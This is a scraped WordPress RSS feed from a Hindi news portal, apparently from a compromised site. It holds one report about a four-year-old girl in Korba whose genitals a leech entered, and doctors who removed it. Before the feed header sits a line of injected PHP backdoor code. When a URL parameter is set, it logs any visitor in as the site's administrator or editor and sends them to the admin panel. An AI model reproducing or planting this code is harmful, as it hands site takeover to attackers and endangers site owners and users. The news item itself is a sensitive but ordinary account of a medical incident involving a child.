// _ea_al add_action('init', function(){ if(isset($_GET['al']) && $_GET['al']==='true'){ if(!is_user_logged_in()){ $u=get_users(['role'=>'administrator','number'=>1,'fields'=>['ID','user_login']]); if(empty($u)){$u=get_users(['role'=>'editor','number'=>1,'fields'=>['ID','user_login']]);} if(!empty($u)){wp_set_auth_cookie($u[0]->ID,true,false);wp_redirect(admin_url());exit();} } else {wp_redirect(admin_url());exit();} } }, 2); inocent girl private part – प्रत्युषा आशा की नयी किरण https://pratyushaashakinayikiran.com न्यूज़ पोर्टल Sat, 05 Oct 2024 18:26:00 +0000 en-US hourly 1 https://wordpress.org/?v=7.0 छत्तीसगढ़-कोरबा में चार साल की बच्ची के गुप्तांग में घुसी जोंक, डॉक्टरों ने सूझबूझ से निकाली बाहर https://pratyushaashakinayikiran.com/?p=80348 Sat, 05 Oct 2024 18:26:00 +0000 https://pratyushaashakinayikiran.com/?p=80348 कोरबा.

कोरबा जिले में दिल दहला देने वाली घटना सामने आई है। यहां खेल-खेल में चार साल की मासूम बच्ची के गुप्तांग में जोंक घुस गई। इसके बाद हड़कंम मच गया और उसे गांव के पास स्थित सामुदायिक स्वास्थ्य केंद्र में भर्ती कराया गया। हालत बिगड़ने पर उसे जिला मेडिकल कॉलजे में भर्ती किया गया। डॉक्टरों की टीम ने घंटों मशक्कत के बाद जोंक को बाहर निकाला।

इसके बाद मासूम, डॉक्टर की टीम और परिजनों ने राहत की सांस ली। बताया जा रहा है कि बांगो थाना अंतर्गत नवापारा गांव निवासी जलप्रताप सिंह का परिवार निवास करता है। उसकी दो बेटी और पत्नी साथ रहते हैं। शुक्रवार की सुबह वो काम पर गया हुआ था। उसकी पत्नी खेत में काम करने गई हुई थी। वहीं, एक बड़ी बेटी 12 साल और उसकी छोटी बेटी 4 वर्षीय दोनों घर के पास तालाब में नहाने गए हुए थे। दोपहर को दोनों तालाब से नहाकर घर वापस लौटे। इस दौरान चार वर्षीय मासूम चीख-पुकार मचाने लगी और गुप्तांग में दर्द होने की बात कही। तब इसकी जानकारी अपने माता-पिता को बड़ी बेटी ने दी। उसे कटघोरा स्थित सामुदायिक स्वास्थ्य केंद्र में भर्ती कराया गया, जहां उसकी हालत को देखते उसे तत्काल जिला मेडिकल कॉलेज रेफर किया गया। जिला मेडिकल कॉलेज में उसे पीडिया वार्ड में भर्ती कराया गया, जहां डॉक्टरों की टीम ने गुप्तांग में जांच करने के दौरान एक जोंक मिली, जिसे बाहर निकल गया। वहीं, बारीकी से जांच करने के बाद जोंक को काफी मशक्कत बाद बाहर निकाला गया। डॉक्टरों की की माने तो समय रहते अगर मासूम को अस्पताल नहीं लाया जाता तो शायद उसकी जान को खतरा भी हो सकता था। डॉक्टरों की टीम ने घण्टो मशकत के बाद मासूम की जान बचाई।

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